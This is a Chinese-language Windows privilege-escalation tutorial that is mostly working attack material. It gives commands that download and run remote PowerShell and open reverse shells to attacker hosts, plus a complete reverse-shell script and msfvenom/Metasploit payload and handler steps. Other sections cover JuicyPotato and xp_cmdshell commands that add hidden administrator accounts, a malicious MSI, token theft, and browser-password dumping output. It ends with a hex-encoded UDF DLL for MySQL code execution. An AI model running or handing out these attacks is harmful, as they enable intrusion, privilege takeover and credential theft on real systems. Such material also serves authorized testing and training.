提权简介
常用方法
windows的常用提权方法,主要分为漏洞提权、windwos特性提权、第三方组件提权,数据库提权 ftp提权 等。
信息收集
主要收集的信息为:
-
机器的系统及其版本
-
机器的打补丁情况
-
机器安装的服务
-
机器的防火墙策略配置
-
机器的防护软件情况
systeminfo 查询系统信息
tasklist 显示进程
hostname 主机名
net user 查看所有用户
net share 查看本机共享列表
netstat -ano | find "3389" 查看3389端口服务pid号
wmic os get caption 查看系统名
wmic qfe get Description,HotFixID,InstalledOn 查看补丁信息
wmic product get name,version 查看当前安装程序
wmic service list brief 查询本机服务
wmic process list brief 查询本机进程
netsh firewall show config 查看防火墙配置
用户相关命令
net user 查看所有用户
net user test 查看用户信息
net user test passwd 修改用户的密码
net user test passwd /add 添加用户密码
net user test /del 删除用户
net user test$ passwd /add 添加隐藏用户
组相关命令
net localgroup 查看所有组
net localgroup administrators 查看管理员组
net localgroup administqrators test /add 把用户添加到管理员组
net localgroup testgroup /add 添加组
net localgroup testgroup /del 删除组
提权常用命令
Set-ExecutionPolicy -Scope CurrentUser # 允许powershell执行ps脚本
[空行] remotesigned
systeminfo | findstr OS #获取系统版本信息
systeminfo&&wmic product get name,version&&wmic nic where PhysicalAdapter=True get MACAddress,Name&&wmic NICCONFIG WHERE IPEnabled=true GET IPAddress #检测系统软 件包
hostname #获取主机名称
whoami /all #获取当前用户的详细信息
whoami /priv #显示当前用户的安全特权
net start #查看服务
quser 或者 query user #获取在线用户
netstat -ano | findstr 3389 #获取rdp连接来源IP
dir c:\programdata\ #分析安装杀软
wmic qfe get Caption,Description,HotFixID,InstalledOn #列出已安装的补丁
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber #获取远程端口
tasklist /svc | find "TermService" #获取TermService服务的pid
netstat -ano | find "pid" #通过TermService的pid获取远程端口(默认3389)
Powershell IEX (New-Object Net.WebClient).DownloadString('http://x.xx.xx.x/xxx.ps1') # 远程下载文件
反弹shell
乱码问题
设置UTF-8编码
chcp 65001
powershell反弹cmd
powercat是netcat的powershell版本,下载地址:https://github.com/besimorhino/powercat ,由于这个地址默认是被墙的,所以可以放在可被访问的远程服务器上。执行命令的时候,自动下载执行。
powershell IEX(New-Object System.Net.Webclient).DownloadString('http://VPS_IP/powercat.ps1'); powercat -c VPS_IP -p 6666 -e cmd
远控脚本
Rev.ps1
function Invoke-PowerShellTcp
{
[CmdletBinding(DefaultParameterSetName="reverse")] Param(
[Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
[String]
$IPAddress,
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
[Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
[Int]
$Port,
[Parameter(ParameterSetName="reverse")]
[Switch]
$Reverse,
[Parameter(ParameterSetName="bind")]
[Switch]
$Bind
)
try
{
#Connect back if the reverse switch is used.
if ($Reverse)
{
$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
}
#Bind to the provided port if Bind switch is used.
if ($Bind)
{
$listener = [System.Net.Sockets.TcpListener]$Port
$listener.start()
$client = $listener.AcceptTcpClient()
}
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
#Send back current username and computername
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
$stream.Write($sendbytes,0,$sendbytes.Length)
#Show an interactive PowerShell prompt
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
$stream.Write($sendbytes,0,$sendbytes.Length)
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
$data = $EncodedText.GetString($bytes,0, $i)
try
{
#Execute the command on the target.
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
}
catch
{
Write-Warning "Something went wrong with execution of command on the target."
Write-Error $_
}
$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
$x = ($error[0] | Out-String)
$error.clear()
$sendback2 = $sendback2 + $x
#Return the results
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
if ($listener)
{
$listener.Stop()
}
}
catch
{
Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port."
Write-Error $_
}
}
# 这里替换成你的ip 端口
Invoke-PowerShellTcp -Reverse -IPAddress 172.16.42.4 -Port 6666
powershell 无法执行脚本
Set-ExecutionPolicy RemoteSigned
辅助提权脚本
检测系统补丁脚本
https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
查看补丁
wesng 查询补丁
https://github.com/bitsadmin/wesng
python wes.py --update-wes #更新
pip3 install chardet #下载包
python wes.py c:\sys.txt #检测补丁(systeminfo)
WindowsVulnScan查询补丁
https://github.com/chroblert/WindowsVulnScan
原理:
- 搜集CVE与KB的对应关系。首先在微软官网上收集CVE与KB对应的关系,然后存储进数据库中
- 查找特定CVE网上是否有公开的EXP
- 利用powershell脚本收集主机的一些系统版本与KB信息
- 利用系统版本与KB信息搜寻主机上具有存在公开EXP的CVE
参数说明:
# author: JC0o0l
# GitHub: https://github.com/chroblert/
可选参数:
-h, --help show this help message and exit
-u, --update-cve 更新CVEKB数据
-U, --update-exp 更新CVEEXP数据
-m MODE, --mode MODE 搭配-U使用。更新模式 All:更新所有;Empty:只更新空白的;Error:只更 新之前未成功更新的
-C, --check-EXP 检索具有EXP的CVE
-n PRODUCTNAME, --productName PRODUCTNAME 搭配-C使用。自定义产品名称,如Windows 10
-N PRODUCTVERSION, --productVersion PRODUCTVERSION 搭配-C使用。自定义产品版本,如20H2
-f FILE, --file FILE ps1脚本运行后产生的.json文件
使用说明:
-
首先运行powershell脚本
KBCollect.ps
收集一些信息 运行后在目录下生成kb.jsonSet-ExecutionPolicy -Scope CurrentUser remotesigned .\KBCollect.ps1
-
将运行后产生的
KB.json
文件移动到cve-check.py
所在的目录 -
安装python3的模块
pip3 install -r requirements.txt
-
运行
cve-check.py -u
创建CVEKB数据库 -
运行
cve-check.py -U
更新CVEKB数据库中的hasPOC
字段此处可以使用-m选择更新模式。 -m All:更新所有 -m Empty:只更新hasPOC字段为空的 -m Error:只更新hasPOC字段为Error的
-
运行
cve-check.py -C -f KB.json
查看具有公开EXP的CVE,如下:python cve-check.py -C -f KB.json
windows 内核提权exp
https://github.com/SecWiki/windows-kernel-exploits
在线提权利用查询
(要翻墙)
https://lolbas-project.github.io/
提权辅助页面
http://bugs.hacking8.com/tiquan/
systeminfo > C:\1.txt
Potato提权(CVE-2016-3225)(MS16-075)
MS16-075 提权
通过各种方法在本地(NTLM-relay)中继获取SYSTEM令牌,再通过模拟令牌执行命令。
这是针对本地用户的,不能用于域用户
影响版本
Windows 7、8、10、Server 2008 和 Server 2012
提权条件
命令
whoami /priv 查看用户权限
1. 获取高权限令牌 --token
2. SeImpersonatePrivilege(主要关注这个)或 SeAssignPrimaryTokenPrivilege权限
以下用户拥有 SeImpersonatePrivilege 权限:
本地管理员账户和本地服务帐户(不包括管理员组普通账户)
由SCM(服务控制管理器)启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器
Windows 的 Token:
Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
Windows 服务使用的登录账号:
NT AUTHORITY\System
NT AUTHORITY\Network Service
NT AUTHORITY\Local Service
常见的 LocalService 用户,例如IIS和者sqlserver的用户。
JuicyPotato
https://github.com/uknowsec/JuicyPotato
方法一
下载
https://github.com/uknowsec/JuicyPotato/tree/main/JuicyPotato-shellcode/Bin
直接上线CS
方法二
下载
https://github.com/uknowsec/JuicyPotato/tree/main/JuicyPotato-webshell/Bin
JuicyPotato_x64.exe -a "whoami"
提权成功,直接添加用户到管理员组
JuicyPotato_x64.exe -a "net user kradress 123456 /add && net localgroup administrators kradress /add"
PrintSpoofer
https://github.com/itm4n/PrintSpoofer
From LOCAL/NETWORK SERVICE to SYSTEM by abusing
SeImpersonatePrivilege
on Windows 10 and Server 2016/2019.
本地提权
CVE-2020-0787
漏洞描述
当Windows Background Intelligent Transfer Service (BITS)未能正确地处理符号链接时,存在权限提升漏洞。成功利用此漏洞的攻击者可以覆盖导致提升状态的目标文件。要利用此漏洞,攻击者首先必须登录到系统。然后,攻击者可以运行巧尽心思构建的应用程序,利用此漏洞并控制受影响的系统。
漏洞范围
基本上Windows11以下全版本
漏洞复现
webshell不适用此方法,会弹出一个新的shell
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
内核提权
CVE-2014-4113 (MS14-058)提权
漏洞描述
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户
影响版本
该漏洞影响所有Windows x64,包括Windows 7 和 Windows Server 2008 R2 及以下版本
漏洞复现
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-058
还有很多,exp在https://github.com/SecWiki/windows-kernel-exploits
系统错误配置提权
系统服务权限配置错误
漏洞描述
Windows在系统启动时,会伴随着一些高权服务启动(windows服务是以system权限运行的)倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持,例如DLL劫持
漏洞介绍
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
windows服务是以system权限运行的,其文件夹、文件和注册表key-value都是受强制访问控制保护的。但是在某些情况下,操作系统中依然存在一些没有得到有效保护的服务。
漏洞复现一
下载PrivescCheck
(加载模块并执行 列出可能存在问题的所有服务 分析能否利用)
git clone https://github.com/itm4n/PrivescCheck.git
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.220.130/PrivescCheck.ps1'); Invoke-PrivescCheck"
(webshell)
这里发现NT AUTHORITY\Authenticated Users
普通用户也能设置文件
普通用户可以对usosvc服务进行设置 s.exe是msf的后门程序
sc stop UsoSvc
sc config usosvc binPath= "C:\s.exe"
sc start UsoSvc
这里用kali的msf
记得在设置 metasploist set AutoRunScript migrate -f
自动迁移进程 不然会连接就断开
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.220.128 lport=6666 -f exe > s.exe
msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.128.220.128
lhost => 192.128.220.128
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit
[-] Handler failed to bind to 192.128.220.128:6666:- -
[*] Started reverse TCP handler on 0.0.0.0:6666
[*] Sending stage (175174 bytes) to 192.168.220.143
[*] Meterpreter session 1 opened (192.168.220.128:6666 -> 192.168.220.143:50066 ) at 2022-06-12 01:53:15 +0800
Metasploit中的攻击模块 exploit/windows/local/service_permissions
可以用来提高权限
service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一 个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的
不带引号的服务路径提权
漏洞描述
当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。
漏洞原理
using System;
using System.Collections.Generic;
using System.Text;
namespace moon {
class Program
{
static void Main(string[] args)
{
Console.WriteLine("欢迎来到暗月渗透测试培训");
}
}
}
编译成exe 然后改名上传到 c盘 Program.exe
服务器执行的时候如果没有添加双引号 程序是这样寻找Rar.exe文件(一个压缩软件)
-
如果有加双引号
"C:\Program Files\WinRAR\Rar.exe"
会执行压缩软件(Rar.exe)
-
没有双引号的时候
C:\Program Files\WinRAR\Rar.exe
没有双引号的时候,windows会把空格前面的当做exe文件执行。相当于执行了C:\Program.exe
漏洞复现
遍历出带有空格的文件路径
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:Windows" |findstr/i /v """
看到服务器存在空格,路径可写 即存在漏洞
如果C盘可写上传反弹后门到C:\Program.exe即可
系统在重启 获取管理员重启该服务的时候就会获取系统权限
注册键AlwaysInstallElevated
漏洞描述
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NTAuthority\System权限来安装恶意的MSI文件。 windows install是windows操作系统的组件之一,专门用来管理配置软件服务。它除了是一个安装程序,还用于管理软件的安装、组件的添加、删除、监视文件的还原、通过回滚进行灾难恢复。windows install通过msiexec.exe安装MSI文件,双击MSI文件就会运行msiexec.exe。 原理:是因为用户打开了windows installer 特权安装功能
漏洞复现
可以用来提升用户权限
reg query HKLM\software\policies\microsoft\windows\installer
reg query HKCU\software\policies\microsoft\windows\installer
或者
PowerShell -nop -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://192.168.220.130/PowerUp.ps1'); Get-RegAlwaysInstallElevated
iis_user组用户权限较低 返回false
不过不影响,上传 C:\ProgramData\COMahawk64.exe 执行即可获取一个系统得账号和密码
还可以用msf来提权,这里user用户为users组
certutil -urlcache -split -f http://192.168.128.220/install2.msi
user成功提升成管理员权限
这里用kali的msf
msfvenom -p windows/x64/exec CMD=’net localgroup administrators user /add’ -f msi > install2.msi
自动安装配置文件提权
漏洞描述
网络管理员在内网中给多台机器配置同一个环境的时候,一般会使用脚本进行批量部署,也就是会使用安装配置文件,这些文件中包含所有的安装配置信息,其中还有一些包含着本地管理员账号和密码。
漏洞复现
我们执行如下命令,搜索Unattend.xml文件
dir /b /s c:\Unattend.xml
这里我们的Unattend.xml文件是使用了base64对管理员的密码进行编码的
也可以使用msf的 post/windows/gather/enum_unattend
对这个配置文件扫描
令牌窃取
漏洞原理
令牌(Token)是指系统中的临时秘钥,相当于账户和密码,有了令牌就可以在不知道密码的情况下访问目标相关资源了,这些令牌将持续存在于系统中,除非系统重新启动
Windows的令牌类型:
- Delegation token(授权令牌):用于交互会话登录(例如本地用户直接登录、远程桌面登录)
- Impersonation token(模拟令牌):用于非交互登录(利用net use访问共享文件夹)
两种token只在系统重启后清除,具有Delegation token
的用户在注销后,该Token将变成Impersonation token
。
列举令牌,只能列举出当前用户和比当前用户权限更低用户的令牌。
令牌的数量取决于当前shell的访问级别,如果当前的shell是administrator或者是system,我们就可以看到系统中的所有的令牌。
漏洞复现
incognito.exe
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
列出用户token
incognito.exe list_tokens -u
用获取的令牌执行命令
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
MSF窃取令牌
可以用msfvenom生成一个反弹shell
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.220.128 lport=6666 -f exe > s.exe
msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.128.220.128
lhost => 192.128.220.128
msf6 exploit(multi/handler) > set lport 6666
lport => 6666
msf6 exploit(multi/handler) > exploit
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
密码搜集提权
浏览器获取密码
抓取谷歌浏览器的密码
https://github.com/SD-XD/Catch-Browser
可以抓取主流浏览器的密码
https://github.com/QAX-A-Team/BrowserGhost
目前已经实现:
- 实现system抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)
- 用.net2 实现可兼容大部分windows,并去掉依赖(不需要System.Data.SQLite.dll这些累赘)
- 可以解密chrome全版本密码(chrome80版本后加密方式变了)
- Chrome已经可以获取login data、cookie、history、book了
- IE 支持获取书签、密码、history了 (.net2提取密码太复杂了代码参考至
https://github.com/djhohnstein/SharpWeb/raw/master/Edge/SharpEdge.cs
)
C:\Users\Administrator\Desktop>BrowserGhost.exe
[+] Current user Administrator
[*] [4764] [explorer] [Administrator]
[*] Impersonate user Administrator
[*] Current user Administrator
===============Chrome=============
[*]Get Chrome Login Data
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data to C:\Users\Administrator\AppData\Local\Temp\tmp6B9F.tmp
[URL] -> https://xui.ptlogin2.qq.com/cgi-bin/xlogin
[USERNAME] -> n0thing@gmail.com
[PASSWORD] -> Iloveprettygirls
[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp6B9F.tmp
[*]Get Chrome Bookmarks
{
"checksum": "eee70b132cc4f9644d01f989e18fdb38",
"roots": {
"bookmark_bar": {
"children": [ {
"date_added": "13236861887917624",
"guid": "c5df2041-d745-4173-af39-b5c48f8d98a2",
"id": "5",
"name": "GitHub",
"type": "url",
"url": "https://github.com/"
} ],
"date_added": "13236861618031351",
"date_modified": "13236861887917624",
"guid": "00000000-0000-4000-a000-000000000002",
"id": "1",
"name": "书签栏",
"type": "folder"
},
"other": {
"children": [ ],
"date_added": "13236861618031378",
"date_modified": "0",
"guid": "00000000-0000-4000-a000-000000000003",
"id": "2",
"name": "其他书签",
"type": "folder"
},
"synced": {
"children": [ ],
"date_added": "13236861618031381",
"date_modified": "0",
"guid": "00000000-0000-4000-a000-000000000004",
"id": "3",
"name": "移动设备书签",
"type": "folder"
}
},
"version": 1
}
[*]Get Chrome Cookie
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Cookies to C:\Users\Administrator\AppData\Local\Temp\tmp6D94.tmp
[github.com] _device_id=516175fxxxxxxxxx90133c2
[.github.com] _octo=GH1.1.3xxxxxxxxx5173
[.google.com] NID=204=DEIRBPT8FML_IsHGv1B2xxxxxxxxxxxxxxxxxxxSRlaNRV3-nfhFV8aHAgO6Smtf4JXQqR-W63p0KOVKgVd0VCXv4bKww97DEhc-PI1sVdbD4hGOuVwchN4Bwo-V61AtfjZM
[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp6D94.tmp
[*]Get Chrome History
[+] Copy C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\History to C:\Users\Administrator\AppData\Local\Temp\tmp6E32.tmp
http://github.com/ The world’s leading software development platform · GitHub
https://github.com/ GitHub
https://github.com/login Sign in to GitHub · GitHub
[+] Delete File C:\Users\Administrator\AppData\Local\Temp\tmp6E32.tmp
===============IE=============
[*]Get IE Books
C:\Users\Administrator\Favorites\Sign in to GitHub · GitHub.url
URL=https://github.com/session
[*]Get IE Password
Vault Type : Web Credentials
Resource : https://github.com/
Identity : n0thing@gmail.com
Credential : Iloveprettygirls
LastModified : 2020/6/17 7:08:50
[*]Get IE History
https://github.com/login
https://github.com/join
https://github.com/john
https://github.com/sign
http://github.com/
http://go.microsoft.com/fwlink/p/?LinkId=255141
[*] Recvtoself
[*] Current user Administrator
注册表获取密码
reg query HKEY_CURRENT_USER\Software\TightVNC\Server
使用vncpwd工具进行解密:
vncpwd.exe 2B27C004F36D46D0
第三方提权
sqlserver提权
漏洞描述
如果网站里面使用的数据库是sqlserver(1433端口) 那么如果找到sa的密码,利用提权脚本,执行命令,但是不一定有系统权限,还要看管理员开始安装sqlserver的权限设置 一般情况是system权限或者pulic 均能执行命令
敏感文件
web.config
config.asp
conn.aspx
database.aspx
漏洞复现
使用mssql连接工具或者webshell net提权脚本输入账号和密码连接
开启xp_cmdshell
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
mysql UDF提权
漏洞描述
在mysql 可以使用自定义函数进行提权,udf = user defined function 用户自定义函数对于自定义的函数 在mysql5.1版本以后就需要放在插件插件目录 /lib/plugin ,文件后缀 dll,c语言编写
前提条件
必须是root权限(主要是得创建和抛弃自定义函数)
secure_file_priv=
将udf.dll文件上传到MySQL的plugin目录下(这里以MySQL=5.5.29为例)
UDF提权就是利用MySql允许扩展自定义函数的特性,将webshell的权限(apache)变成和mysql运行权限一致,所以就有个前提:
- mysql得是以高权限进行运行的,至少得比中间件权限高,才有用这个方法进行提权的必要。
获取webshell发现权限较低:
可能会遇到的问题
-
版本有32 和64位的mysql 创建函数的方法一样,但是64版本的要用64的udf.dll
-
The MySQL server is running with the –secure-file-priv option so it cannot execute this statement
这种是mysql默认设置是不允许导入导出 需要在my.ini添加 secure-file-priv = 保存重启mysql即可
SELECT @@global.secure_file_priv
- Can’t create/write to file ‘D:\phpStudy\MySQL\lib\plugin\udf.dll
这种是没有权限导出或者plugin目录不存在,需要手动创建或者权限不够
漏洞复现
查看是否有写文件权限
show variables like "secure_file_priv";
可以使用语句查询plugin插件目录
show variables like "%plugin%"
select 'xxx' into dumpfile 'C:\\phpStudy\\MySQL\\lib::$INDEX_ALLOCATION'
select 'xxx' into dumpfile 'C:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION'
SELECT 0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000e80000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000677cbfda231dd189231dd189231dd18904dbbf89211dd18904dbbc892a1dd18904dbaa89261dd189231dd0890f1dd18904dbac89211dd18904dba089221dd18904dbab89221dd18904dba989221dd18952696368231dd189000000000000000000000000000000005045000064860300a727a15a0000000000000000f00022200b020800002000000010000000800000109f000000900000000000100000000000100000000200000400000000000000050002000000000000c000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098b2000008020000b0b10000e800000000b00000b00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000e0555058310000000000200000009000000012000000040000000000000000000000000000400000e02e727372630000000010000000b000000006000000160000000000000000000000000000400000c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e393100555058210d240209e1e421439d3bdfb7de7400000f0f0000002a0000490000d41de9feff833a007450488b05a421000049890009a24008cd4973d20a9f109c1899cd9f34272096280fb70593666d83fdb7410b30b001c332c0c3cc00c215cc92c9ba810034716a6febcc16e46c096a471853fdbf1fa4631c0fb605591688401e41c7011e00ffed6dd62b8b63bf01750f3f42088338007506c64b26ebdc01017b4e2d632b05b9e4b228ce25227ed20cd26f1f28152ab001c3f66d7bc2bf83ec38344a43895c243084b7fff6dbd90b09ff15c71f2b4885c04c8bd87512104c24df6eaeb9608707202dc4388e897c242873edcdfd33c048c7c1ff0033fbf2ae1c120976d9b75b1af7d122e901890b2dcc00be6feb166f28e3026e404848deda7fdb29f938d87459488d0d40ee4e0e813832983de4c1eb81403281480a9ee4435e4f81503281543281563261f37d4fb0018c48804028c34c49467607744e61deed584917e49260680a703c6527cd18782056c740045cf8bf33b64342188b48048b008d4c010239bd1e77d27d8bd947107543706d8045ec1be936130309884370900a00b69dee10c8980a18bc0cb3c6b00e07103fbcb37ddb0f49a585c974066f5d17b7086d21cf93cf047424ada3b9772d7110448b6949e2fa02c2eddfba52e2ce0212498d5c3001e83f0ffce85cd7fddd5febcb418b03c60430d2470d5734b70c58d7e22d0822d34313167bb75bce2618007ca01cff56677c84842f7198f4cf16c64373870d087c8c03d6e4240f79561e541e511e7292939c4e1e4b1e481e63c2425e3e1e1fcf2784ee87c71f1da0981f4c89c68685ee44241824580f6c59897486bb86db76381764bdb900d34c18284cb0db7e302d4d8bf146e8e7b901ee9b6dc1ec04e00dda4533ed4488670beef69b4ff04c39290f8413050673f215fdcfb8b9169125ac1c088be8747b418d5508e1c9b6b13ac0e6cc177c7466a04b6640fa50669047fc3f42858e1b0b9529328d7936ce6f7d61c16c304375cd8cc74803c8f56636b724d470143e51c5ba08e1d9b68d39cc1ceb13225975ad886cdbb6f050eb258bc77004cd1930ddfe9cdb803e30e2154874229245ffb176d8827811fef5887edd4d174ebe5a0eebc18424805ec606e71ada0001380c4c38f12a10f8386c04c6f0a0581a87e792317fd3dc5cd8d6d09d58747a28f2023f73b773df3e448d48406e41b80010b3748bd1f10df7c7ed33c9ab441a5356104cefa2dbe6b66c02c8d8154e1b8d54b94c350aede98d054a75890ba3b16e3b2dbc3133d2c7d0208925183bdf19b7b3bad2c80df2199d30ac581e29eb081433c0922fb384f13be0064ceb0033c029001bb0dfb65538ec024510ff10c9196600fb6f7f6c900390483b0d89293f751148c1c11066f7dddd6fdfb87502f3dac1c910e9150aeccc405361203b8b7d1b5801a05fdcd25b0bfbeef7f685dbc905112fd005020675098d430185bb76efb6205b42c703d59b0d3c48b406634136670b1c5805b12006615bd85bc3cf55d27f6cc7c7c376fc608468e140dcfbf1c2c63831e83be141bdd20f8503ee46bb7408075ee428073c0f8e0d8de6b61b6e2bc58ed3105fdcfd3e76fb0fb12d602e0a741ef290b9e803c91d19bfdb36931d4275e841320783f802740fb9ef6dc3b31fb70eca0208e2ed0d2f2e338e740fd2111912f874491412fc18dadc0b1fd958f847df72165f1803b6bb2d701e4ad0c9eb081573ed12ecf6bedbcf2774192d06429bd72d0698fbfb66d833db891db80e871db906716fc7feb59806e5413bd5dde26541042530bb7dbbbd002c0978081e8bf3f048b93d883072b0b7920a63c7741ad64618d7d29b2f1c6b75e3eb037bf5a79a5ed6390c950cdaeb3fea1f9f7db7f08e8f080644892d312d1bc485c0678fed62771a15e5de0dd6181abe7fddbbeec7050725024585f67507b404bb833d14ddc96e73068b212a0b2d5c6f11dedd264fe3029cf12c66012d3a273e9e9ebe10c58f38d240e468ec98717a60dce91748c3b14d22190f6c20483a5adbf308505851f0dd05bbee77df3d041f208915d12695d275133915d709ed7f38c3750b5a17c61e83fa017405040add6be00275338931d39d08a3b71b0d34c84e20c574134ac68b07863db9d7a64bfc1616e0c9016b3c1a0edc83ffb092ebda1535ab311bc11bdb5b0bd80c430c1dc817084d7bf787755c0b1841ffd385ff88ff03753970f79d75094a08aeeb8d1ca51e36ec648b171028adeb06d8192ecc298adc25f3008bc3659e8793708b218b8bf8b59d9e2a4055bf15eaa3894d7afab61b01018b080724b0d67d5d902dd9c2302f5e7d0ab1485825ff4ddb960c1e92387d2eda02f101d7136fa3f875056c0cfcfa7d918844a4fd258b036983eb2f9e8e090cefc6f852a1899e2681ec880068cd760dbffe73153f156705b8c648f25845b7390cb8283d1f2c586170c339def61624eb754148b73dc6364238004044230430090e662fcf40280578254703055c73874c1c51494e7d4bb1077f4bf0eb222b8093447bdd837d738d0e83c00812d13e8d67db7b642a059b240d20902f9c5ba25b701c2a7214097bc009cc3e1e666c926724766e833572dbff0b70dc7a142f482c38b0bb2493827b8ef083d2396a14019b15650ccb36dc9255b624c80a271b83d76c1854ba6a234e336b1784f781c4aca041592947a626231c0fd8cf53188186d9ef0d68295a4a148a8ef8ececcdd64427cb1366eb75b908674b32d21dea902d3a1c1128106464200a8b83af334463971bcb36e418c323db83a238243d05f62809993959b611402bdc678c90c136de1bc3017f37320296247f15f4f6120d6276d81bc00383e8013c2075643f289c8d3d53041a787f4b8d1d4c068d13a08491790ec372b3326129a9ef4f137f2344720cc96681394d5a75fcb7c3ff174863513c813c0a5045e1137c0a180b020f94c063e343029f4c63413cfec9b4ebed8d7ed24c03c1413c4014450458064525ffc25f6a4ab10018741f8b510b3bd2720a8b4108ed6ff8db03c209d072104183c113c128453bcb72e16fc796b05d1cc1c3cf4cc1267af7446992e1da85dcbd1f4c2bc15feafb5abed0140ccd0f3a24c1e81f600d2cfef7d083e001eb02584fd644ab360196ebcac0b66c3008eec18b01a7ffaa128d3cc77627252205cc11ce78dca606cb113f75463da70ff0dd4603241b471eb801000000277c29847f3fe520000081bff83c3dfc32a2df2d992b7dc7f83074149d6fa3d00e7f5dc6268b2dc285586b212430bc6286b6489934e10ab9b4c856e04671d849460bb50e731c0eb110d9be10a8d813fe6a4cb84c33dbceb8ff00856037ba1623e9b8338975dde016b1df744d44d89c1d39b705dbdd8449f7d3093720d2fbdc4b4646463605dee0e2e4b24746465e505a11000055c9a8aa298064547fb017d8069017303007d04e6f206172ffffdffe67756d656e7473096c6c6f77656420287564663a206c69625f6d79730bf6b7dd716c0d5f73085f696e666f29411c80edff232076657273696f6e20302e0134ededee17a178706563744b657861076c79201a6dbb7dfb652073747243672074791b2070766175d8299b6d21724f2f7477996d60010b1f438ef6f603fb72206e616d4c436f756c246e6f74cce8b66d3b63611320186d27796372ff850740310106023532023001240d0024f6ffb7ffd407001fc408001a740b15640c0010540b000b340a0004822776bbdcfe1918090018c40f13740e640b093427b763